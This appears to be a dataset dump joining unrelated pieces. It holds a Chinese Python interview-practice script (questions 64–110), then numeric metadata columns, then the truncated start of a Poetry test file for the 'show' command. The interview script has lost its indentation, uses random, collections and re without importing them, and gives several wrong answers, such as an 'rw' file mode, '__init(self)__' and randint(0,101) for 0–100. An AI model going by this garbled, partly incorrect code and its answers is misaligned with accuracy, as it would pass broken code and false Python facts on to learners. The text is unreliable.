print('64 简述any()和all()方法')
print('any() 迭代器中有一个为真,即为真')
print('all() 迭代器中全为真,即为真')
# 65 IOError、AttributeError、ImportError、IndentationError、IndexError、KeyError、SyntaxError、NameError分别代表什么异常
print('65 IOError、AttributeError、ImportError、IndentationError、IndexError、KeyError、SyntaxError、NameError分别代表什么异常')
print(
'IOError:输入输出异常', '\r\n',
'AttributeError:访问对象一个不存在的属性', '\r\n',
'ImportError:无法引入模块或者包,基本都是路径问题', '\r\n',
'IndentationError:语法错误,代码没有正确对齐', '\r\n',
'IndexError:下标索引超出限制', '\r\n',
'KeyError:视图访问字典中不存在的键', '\r\n',
'SyntaxError:Python代码逻辑语法出错,不能执行', '\r\n',
'NameError:使用了一个还未赋值的对象变量')
# 66 python copy 和 deepcopy的区别
print('66 python copy 和 deepcopy的区别')
print('copy:浅复制,引用数据复制的是引用地址')
print('deepcopy:深复制,引用数据直接赋值数据本身')
# 67 列出几种魔法方法并简要介绍用途
print('67 列出几种魔法方法并简要介绍用途')
print('__new__')
print('__init(self)__')
print('__class__ 获取已知对象的类')
print('__str__ 将对象转换成字符串')
print('__del__ 对象调用结束以后,垃圾回收调用该魔法函数,来释放资源')
print('__hash__ 返回哈希值')
# 68
# 69 请将[i for i in range(3)] 改成生成器
print('69 请将[i for i in range(3)] 改成生成器')
test69_iter2 = (i for i in range(10))
print(type(test69_iter2))
print(test69_iter2.__next__())
print(next(test69_iter2))
for x in test69_iter2:
print(x)
print(list(i for i in range(10)))
print(tuple(i for i in range(10)))
# 70 a = " hehheh ",去除首尾空格
print('70 a = " hehheh ",去除首尾空格')
test70_str1 = " hehheh "
print(test70_str1.strip())
# 71 举例sort和sorted对列表排序,list=[0,-1,3,-10,5,9]
print('71 举例sort和sorted对列表排序,list=[0,-1,3,-10,5,9]')
test71_list1 = [0, -1, 3, -10, 5, 9]
test71_list2 = sorted(test71_list1)
print(test71_list1, test71_list2)
test71_list1.sort()
print(test71_list1)
# 72 对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],使用lambda函数从小到大排序
print('72 对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],使用lambda函数从小到大排序')
test72_list1 = [-5, 8, 0, 4, 9, -4, -20, -2, 8, 2, -4]
test72_gen1 = sorted(test72_list1, key=lambda x: x)
print(test72_gen1)
# 73 使用lambda函数对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],输出结果为 [0,2,4,8,8,9,-2,-4,-4,-5,-20],正数从小到大,负数从大到小
print('73 使用lambda函数对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],输出结果为 [0,2,4,8,8,9,-2,-4,-4,-5,-20],正数从小到大,负数从大到小')
test73_list1 = [-5, 8, 0, 4, 9, -4, -20, -2, 8, 2, -4]
test73_gen1 = sorted(test73_list1, key=lambda x: (x < 0, abs(x)))
print(test73_gen1)
test73_gen2 = sorted(test73_list1, key=lambda x: abs(x))
print(test73_gen2)
# 74 列表嵌套字典的排序,分别根据年龄和姓名排序
print('74 列表嵌套字典的排序,分别根据年龄和姓名排序')
test74_list1 = [{"name": "zs", "age": 19}, {"name": "ll", "age": 54}, {"name": "wa", "age": 17},
{"name": "df", "age": 23}]
test74_gen1 = sorted(test74_list1, key=lambda x: x["name"])
test74_gen2 = sorted(test74_list1, key=lambda x: x["age"])
print(test74_gen1)
print(test74_gen2)
# 75 列表嵌套元组,分别按字母和数字排序
print('75 列表嵌套元组,分别按字母和数字排序')
test75_tuple1 = [('sz', 13), ('ab', 24), ('ed', 56), ('hi', 12)]
test75_gen1 = sorted(test75_tuple1, key=lambda x: x[0], reverse=True)
test75_gen2 = sorted(test75_tuple1, key=lambda x: x[1], reverse=True)
print(test75_gen1)
print(test75_gen2)
# 76 列表嵌套列表排序,年龄数字相同怎么办?
print('76 列表嵌套列表排序,年龄数字相同怎么办?')
test76_list1 = [('sz', 13), ('ab', 24), ('ed', 56), ('hi', 12), ('hr', 24), ('as', 24), ]
# 只针对数字排序
test76_gen1 = sorted(test76_list1, key=lambda x: (x[1]))
# 针对数字排序,相同的时候,再针对字母排序
test76_gen2 = sorted(test76_list1, key=lambda x: (x[1], x[0]))
print(test76_gen1)
print(test76_gen2)
# 77 根据键对字典排序(方法1,zip函数)
print('77 根据键对字典排序(方法1,zip函数)')
test77_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'}
test77_list1 = zip(test77_dict1.keys(), test77_dict1.values())
test77_gen1 = sorted(test77_list1, key=lambda x: x[0])
test77_dict2 = {x[0]: x[1] for x in test77_gen1}
print(test77_dict2)
# 78 根据键对字典排序(方法2,不用zip函数)
print('78 根据键对字典排序(方法2,不用zip函数)')
test78_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'}
print(type(test78_dict1.items()), ':', test78_dict1.items())
# 老写法
# test78_list2 = [(x, y) for x, y in test78_dict1.items()]
# test78_gen1 = sorted(test78_list2, key=lambda x: x[0])
# 新写法 test78_dict1本来就是可迭代对象,不需要在转换为list
test78_gen1 = sorted(test78_dict1.items(), key=lambda x: x[0])
test78_dict2 = {x[0]: x[1] for x in test78_gen1}
print(test78_dict2)
# 79 列表推导式 字典推导式 生成器
print('79 列表推导式 字典推导式 生成器')
test79_list1 = [i for i in range(10)]
print('列表推导式', test79_list1)
test79_dic1 = {i: random.randint(11, 20) for i in range(1, 10)}
print('字典推导式', test79_dic1)
test79_gen1 = (i for i in range(10))
print('生成器', test79_gen1)
print('生成器具体的值', list(test79_gen1))
# 80 最后出一道检验题目,根据字符串长度排序,看排序是否灵活运用
print('80 最后出一道检验题目,根据字符串长度排序,看排序是否灵活运用')
test80_list1 = ['ab', 'abc', 'a', 'jekg']
# 长度降序排序
test80_list2 = sorted(test80_list1, key=lambda x: len(x), reverse=True)
print(test80_list2)
test80_list1 = ['ab', 'abc', 'a', 'jekg']
test80_list1.sort(key=len, reverse=True)
print(test80_list1)
# 81 举例说明SQL注入和解决办法
print('81 举例说明SQL注入和解决办法')
# 82 s="info:xiaoZhang 33 shandong",用正则切分字符串输出['info', 'xiaoZhang', '33', 'shandong']
# 83 正则匹配以http://163.com结尾的邮箱
# 84 递归求和
print('84 递归求和')
def deftest84(num):
counts = 0
if num == 1:
return num
else:
counts = num + deftest84(num - 1)
return counts
test84_int = deftest84(10)
print('递归求值', test84_int)
# 85 python字典和json字符串相互转化方法
print('85 python字典和json字符串相互转化方法')
import json
# 核心是json模块的 drmps 和 loads 函数功能
test85_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'}
test85_str1 = json.dumps(test85_dict1)
print('字典转字符串:', type(test85_str1), test85_str1)
test85_dict2 = json.loads(test85_str1)
print('字符串转字典:', type(test85_dict2), test85_dict2)
# 86 MyISAM 与 InnoDB 区别
print('86 MyISAM 与 InnoDB 区别')
# InnoDB支持事物,默认每一次执行,都包装成事物处理,更适合频繁涉及到修改的操作,安全性较高,支持外键。
# 自增长字段,必须只包含该字段
# 清空表时,是一行一行删除数据,效率比较慢
# 87 统计字符串中某字符出现次数
print('87 统计字符串中某字符出现次数')
test87_str1 = 'fsagbreyhefsdgbvhgrehsagbrfhetsagvedghre'
# str.counter可以统计某个字符出现的次数
print('a字符出现的次数:', test87_str1.count('a'))
# collections三方库可以统计所有字符出现的次数
test87_dict1 = collections.Counter(test87_str1)
print('每个字符出现的次数:', test87_dict1)
# 88 字符串转化大小写
print('88 字符串转化大小写')
test88_str1 = 'gegGEgeGERGH'
print('小写为:', test88_str1.lower())
print('大写为:', test88_str1.upper())
# 89 用两种方法去空格
print('89 用两种方法去空格')
test89_str1 = ' zhangsan is a woman '
test89_str2 = re.sub(r" +", ' ', test89_str1)
print('正则替换:', '"' + test89_str2.strip() + '"')
test89_list1 = test89_str1.split(' ')
test89_str3 = ''.join(test89_list1)
print('分隔替换:', '"' + test89_str3 + '"')
# 90
# 91 简述python引用计数机制
print('91 简述python引用计数机制')
class Cls91():
def __init__(self, name):
self.name = name
# 当类的示例引用为0时,才真的执行实例的删除操作,以及垃圾回收机制
def __del__(self):
print('执行了删除操作')
cls91_1 = Cls91('测试')
cls91_2 = cls91_1
cls91_3 = cls91_1
print(id(cls91_1), id(cls91_2), id(cls91_3))
print('开始删除2')
del (cls91_2)
print('开始删除1')
del (cls91_1)
print('开始删除3')
del (cls91_3)
print('删除完成')
# 92 int("1.4"),int(1.4)输出结果?
print('92 int("1.4"),int(1.4)输出结果?')
# print(int('1.4'))
print(int(1.4))
print(int(1.6))
# 93 列举3条以上PEP8编码规范
# 94 正则表达式匹配第一个URL
# 95 正则匹配中文
# 96 简述乐观锁和悲观锁
print('96 简述乐观锁和悲观锁')
# 乐观锁:基于查询大于更新的基准,增加一个递增变量,每次读取先读取递增变量,重新更新的时候,判断递增变量是否与之前查询到的一致,才更新
# 悲观锁:悲观态度,认为更新很容易出错,每次执行前,都加锁,只能同时一个操作操作数据
# 97 r、r+、rb、rb+文件打开模式区别
print('97 r、r+、rb、rb+文件打开模式区别')
print('r 只读模式打开')
print('w 写入模式打开')
print('rw 读写模式打开')
print('rb 字节流格式打开')
print('a 追加模式打开')
print('*+ 上述模式全部增加+,则变为读写模式')
# 98 Linux命令重定向> 和 >>
print('98 Linux命令重定向> 和 >>')
print('> 表示输出到哪里,会覆盖原有文件')
print('>> 表示追加,会追加到原有文件的末尾')
# 99 正则
# 100 Python 传参数是传值还是传地址?
print('100 Python 传参数是传值还是传地址?')
# python 以传递地址的方式进行参数传递
# 如果是不可变类型(数字,字符串,元组)应为变量不可修改,所以直接传递变量的地址
# 如果是可变类型,直接传入参数地址更有效
# 101 求两个列表的交集、差集、并集
print('101 求两个列表的交集、差集、并集')
test101_list1 = [1, 2, 3, 4, 5, 6]
test101_list2 = [2, 4, 6, 7, 9, 78]
# 有两种方式
# 第一种是用set的集合运算法
# 第二种方式为set集合的方法
# 方式一 &:交集 |:并集 -:差集
print('交集:', list(set(test101_list1) & set(test101_list2)))
print('并集:', list(set(test101_list1) | set(test101_list2)))
print('差集:', list(set(test101_list1) - set(test101_list2)))
print('方法二')
print('交集:', list(set(test101_list1).intersection(set(test101_list2))))
print('并集:', list(set(test101_list1).union(set(test101_list2))))
print('差集:', list(set(test101_list1).difference(set(test101_list2))))
# 102 生成0-100的随机数
print('102 生成0-100的随机数')
print(int(random.random() * 100))
print(random.randint(0, 101))
# 103 lambda匿名函数的好处
print('103 lambda匿名函数的好处')
print('精简代码,省去了定义函数,省去了for循环')
# 104 常见的网络传输协议
print('104 常见的网络传输协议')
test104_list = ['http', 'https', 'tcp', 'udp', 'ftp']
print('常见的网络传输协议', test104_list)
#105 单引号,双引号,三引号的用法
print('105 单引号,双引号,三引号的用法')
print('单引号和双引号使用没有差别')
print('三引号通常直接书写多行,通常用于大段文字')
#106 python垃圾回收机制
print('106 python垃圾回收机制')
print('python 垃圾回收机制,主要运用引用为0的操作,当一个对象的引用为0是,执行删除该引用对用的实体并回收操作')
#107
#108 python中读取Excel文件的方法
print('108 python中读取Excel文件的方法')
print('应用pandas库')
#109 简述多线程 多进程
#110 python正则中search和match
| 26.085569
| 114
| 0.6934
| 5,567
| 35,972
| 4.35926
| 0.142806
| 0.004862
| 0.005316
| 0.006099
| 0.94194
| 0.940292
| 0.938932
| 0.935759
| 0.934152
| 0.925663
| 0
| 0.117369
| 0.117008
| 35,972
| 1,378
| 115
| 26.104499
| 0.646664
| 0.195041
| 0
| 0.92439
| 0
| 0.021951
| 0.301414
| 0.131955
| 0
| 0
| 0
| 0
| 0.004878
| 1
| 0.019512
| false
| 0
| 0.019512
| 0.002439
| 0.057317
| 0.57561
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
d5e69b53a0196ee4e57de6048b995cf1c1f2ccd3
| 53,806
|
py
|
Python
|
tests/console/commands/test_show.py
|
ITProKyle/poetry
|
f462b7f8c3885585a20cf631d6542049518195c3
|
[
"MIT"
] | null | null | null |
tests/console/commands/test_show.py
|
ITProKyle/poetry
|
f462b7f8c3885585a20cf631d6542049518195c3
|
[
"MIT"
] | null | null | null |
tests/console/commands/test_show.py
|
ITProKyle/poetry
|
f462b7f8c3885585a20cf631d6542049518195c3
|
[
"MIT"
] | null | null | null |
from __future__ import annotations
from typing import TYPE_CHECKING
import pytest
from poetry.core.packages.dependency_group import DependencyGroup
from poetry.factory import Factory
from tests.helpers import get_package
if TYPE_CHECKING:
from cleo.testers.command_tester import CommandTester
from poetry.poetry import Poetry
from poetry.repositories import Repository
from tests.helpers import TestRepository
from tests.types import CommandTesterFactory
@pytest.fixture
def tester(command_tester_factory: CommandTesterFactory) -> CommandTester:
return command_tester_factory("show")
def test_show_basic_with_installed_packages(
tester: CommandTester, poetry: Poetry, installed: Repository
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
poetry.package.add_dependency(
Factory.create_dependency("pytest", "^3.7.3", groups=["dev"])
)
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
pytest_373 = get_package("pytest", "3.7.3")
pytest_373.description = "Pytest package"
pytest_373.category = "dev"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
installed.add_package(pytest_373)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pytest",
"version": "3.7.3",
"description": "Pytest package",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": [], "pytest": []},
},
}
)
tester.execute()
expected = """\
cachy 0.1.0 Cachy package
pendulum 2.0.0 Pendulum package
pytest 3.7.3 Pytest package
"""
assert tester.io.fetch_output() == expected
def _configure_project_with_groups(poetry: Poetry, installed: Repository) -> None:
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency_group(DependencyGroup(name="time", optional=True))
poetry.package.add_dependency(
Factory.create_dependency("pendulum", "^2.0.0", groups=["time"])
)
poetry.package.add_dependency(
Factory.create_dependency("pytest", "^3.7.3", groups=["test"])
)
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
pendulum_200.category = "dev"
pytest_373 = get_package("pytest", "3.7.3")
pytest_373.description = "Pytest package"
pytest_373.category = "dev"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
installed.add_package(pytest_373)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pytest",
"version": "3.7.3",
"description": "Pytest package",
"category": "dev",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": [], "pytest": []},
},
}
)
@pytest.mark.parametrize(
("options", "expected"),
[
(
"",
"""\
cachy 0.1.0 Cachy package
pytest 3.7.3 Pytest package
""",
),
(
"--with time",
"""\
cachy 0.1.0 Cachy package
pendulum 2.0.0 Pendulum package
pytest 3.7.3 Pytest package
""",
),
(
"--without test",
"""\
cachy 0.1.0 Cachy package
""",
),
(
"--without default",
"""\
pytest 3.7.3 Pytest package
""",
),
(
"--only default",
"""\
cachy 0.1.0 Cachy package
""",
),
(
"--default",
"""\
cachy 0.1.0 Cachy package
""",
),
(
"--no-dev",
"""\
cachy 0.1.0 Cachy package
""",
),
(
"--with time --without test",
"""\
cachy 0.1.0 Cachy package
pendulum 2.0.0 Pendulum package
""",
),
(
"--with time --without default,test",
"""\
pendulum 2.0.0 Pendulum package
""",
),
(
"--only time",
"""\
pendulum 2.0.0 Pendulum package
""",
),
(
"--only time --with test",
"""\
pendulum 2.0.0 Pendulum package
""",
),
(
"--with time",
"""\
cachy 0.1.0 Cachy package
pendulum 2.0.0 Pendulum package
pytest 3.7.3 Pytest package
""",
),
],
)
def test_show_basic_with_group_options(
options: str,
expected: str,
tester: CommandTester,
poetry: Poetry,
installed: Repository,
):
_configure_project_with_groups(poetry, installed)
tester.execute(options)
assert tester.io.fetch_output() == expected
def test_show_basic_with_installed_packages_single(
tester: CommandTester, poetry: Poetry, installed: Repository
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
installed.add_package(cachy_010)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": []},
},
}
)
tester.execute("cachy")
assert [
"name : cachy",
"version : 0.1.0",
"description : Cachy package",
] == [line.strip() for line in tester.io.fetch_output().splitlines()]
def test_show_basic_with_not_installed_packages_non_decorated(
tester: CommandTester, poetry: Poetry, installed: Repository
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
installed.add_package(cachy_010)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": []},
},
}
)
tester.execute()
expected = """\
cachy 0.1.0 Cachy package
pendulum (!) 2.0.0 Pendulum package
"""
assert tester.io.fetch_output() == expected
def test_show_basic_with_not_installed_packages_decorated(
tester: CommandTester, poetry: Poetry, installed: Repository
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
installed.add_package(cachy_010)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": []},
},
}
)
tester.execute(decorated=True)
expected = """\
\033[36mcachy \033[39m \033[39;1m0.1.0\033[39;22m Cachy package
\033[31mpendulum\033[39m \033[39;1m2.0.0\033[39;22m Pendulum package
"""
assert tester.io.fetch_output() == expected
def test_show_latest_non_decorated(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
cachy_020 = get_package("cachy", "0.2.0")
cachy_020.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
pendulum_201 = get_package("pendulum", "2.0.1")
pendulum_201.description = "Pendulum package"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
repo.add_package(cachy_010)
repo.add_package(cachy_020)
repo.add_package(pendulum_200)
repo.add_package(pendulum_201)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": []},
},
}
)
tester.execute("--latest")
expected = """\
cachy 0.1.0 0.2.0 Cachy package
pendulum 2.0.0 2.0.1 Pendulum package
"""
assert tester.io.fetch_output() == expected
def test_show_latest_decorated(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
cachy_020 = get_package("cachy", "0.2.0")
cachy_020.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
pendulum_201 = get_package("pendulum", "2.0.1")
pendulum_201.description = "Pendulum package"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
repo.add_package(cachy_010)
repo.add_package(cachy_020)
repo.add_package(pendulum_200)
repo.add_package(pendulum_201)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": []},
},
}
)
tester.execute("--latest", decorated=True)
expected = """\
\033[36mcachy \033[39m \033[39;1m0.1.0\033[39;22m\
\033[33m0.2.0\033[39m Cachy package
\033[36mpendulum\033[39m \033[39;1m2.0.0\033[39;22m\
\033[31m2.0.1\033[39m Pendulum package
"""
assert tester.io.fetch_output() == expected
def test_show_outdated(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
cachy_020 = get_package("cachy", "0.2.0")
cachy_020.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
repo.add_package(cachy_010)
repo.add_package(cachy_020)
repo.add_package(pendulum_200)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": []},
},
}
)
tester.execute("--outdated")
expected = """\
cachy 0.1.0 0.2.0 Cachy package
"""
assert tester.io.fetch_output() == expected
def test_show_outdated_with_only_up_to_date_packages(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
cachy_020 = get_package("cachy", "0.2.0")
cachy_020.description = "Cachy package"
installed.add_package(cachy_020)
repo.add_package(cachy_020)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.2.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": []},
},
}
)
tester.execute("--outdated")
expected = ""
assert tester.io.fetch_output() == expected
def test_show_outdated_has_prerelease_but_not_allowed(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
cachy_020 = get_package("cachy", "0.2.0")
cachy_020.description = "Cachy package"
cachy_030dev = get_package("cachy", "0.3.0.dev123")
cachy_030dev.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
# sorting isn't used, so this has to be the first element to
# replicate the issue in PR #1548
repo.add_package(cachy_030dev)
repo.add_package(cachy_010)
repo.add_package(cachy_020)
repo.add_package(pendulum_200)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": []},
},
}
)
tester.execute("--outdated")
expected = """\
cachy 0.1.0 0.2.0 Cachy package
"""
assert tester.io.fetch_output() == expected
def test_show_outdated_has_prerelease_and_allowed(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
poetry.package.add_dependency(
Factory.create_dependency(
"cachy", {"version": ">=0.0.1", "allow-prereleases": True}
)
)
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
cachy_010dev = get_package("cachy", "0.1.0.dev1")
cachy_010dev.description = "Cachy package"
cachy_020 = get_package("cachy", "0.2.0")
cachy_020.description = "Cachy package"
cachy_030dev = get_package("cachy", "0.3.0.dev123")
cachy_030dev.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
installed.add_package(cachy_010dev)
installed.add_package(pendulum_200)
# sorting isn't used, so this has to be the first element to
# replicate the issue in PR #1548
repo.add_package(cachy_030dev)
repo.add_package(cachy_010dev)
repo.add_package(cachy_020)
repo.add_package(pendulum_200)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0.dev1",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": []},
},
}
)
tester.execute("--outdated")
expected = """\
cachy 0.1.0.dev1 0.3.0.dev123 Cachy package
"""
assert tester.io.fetch_output() == expected
def test_show_outdated_formatting(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
poetry.package.add_dependency(Factory.create_dependency("cachy", "^0.1.0"))
poetry.package.add_dependency(Factory.create_dependency("pendulum", "^2.0.0"))
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
cachy_020 = get_package("cachy", "0.2.0")
cachy_020.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
pendulum_201 = get_package("pendulum", "2.0.1")
pendulum_201.description = "Pendulum package"
installed.add_package(cachy_010)
installed.add_package(pendulum_200)
repo.add_package(cachy_010)
repo.add_package(cachy_020)
repo.add_package(pendulum_200)
repo.add_package(pendulum_201)
poetry.locker.mock_lock_data(
{
"package": [
{
"name": "cachy",
"version": "0.1.0",
"description": "Cachy package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
{
"name": "pendulum",
"version": "2.0.0",
"description": "Pendulum package",
"category": "main",
"optional": False,
"platform": "*",
"python-versions": "*",
"checksum": [],
},
],
"metadata": {
"python-versions": "*",
"platform": "*",
"content-hash": "123456789",
"hashes": {"cachy": [], "pendulum": []},
},
}
)
tester.execute("--outdated")
expected = """\
cachy 0.1.0 0.2.0 Cachy package
pendulum 2.0.0 2.0.1 Pendulum package
"""
assert tester.io.fetch_output() == expected
@pytest.mark.parametrize("project_directory", ["project_with_local_dependencies"])
def test_show_outdated_local_dependencies(
tester: CommandTester,
poetry: Poetry,
installed: Repository,
repo: TestRepository,
):
cachy_010 = get_package("cachy", "0.1.0")
cachy_010.description = "Cachy package"
cachy_020 = get_package("cachy", "0.2.0")
cachy_020.description = "Cachy package"
cachy_030 = get_package("cachy", "0.3.0")
cachy_030.description = "Cachy package"
pendulum_200 = get_package("pendulum", "2.0.0")
pendulum_200.description = "Pendulum package"
demo_010 = get_package("demo", "0.1.0")
demo_010.description = ""
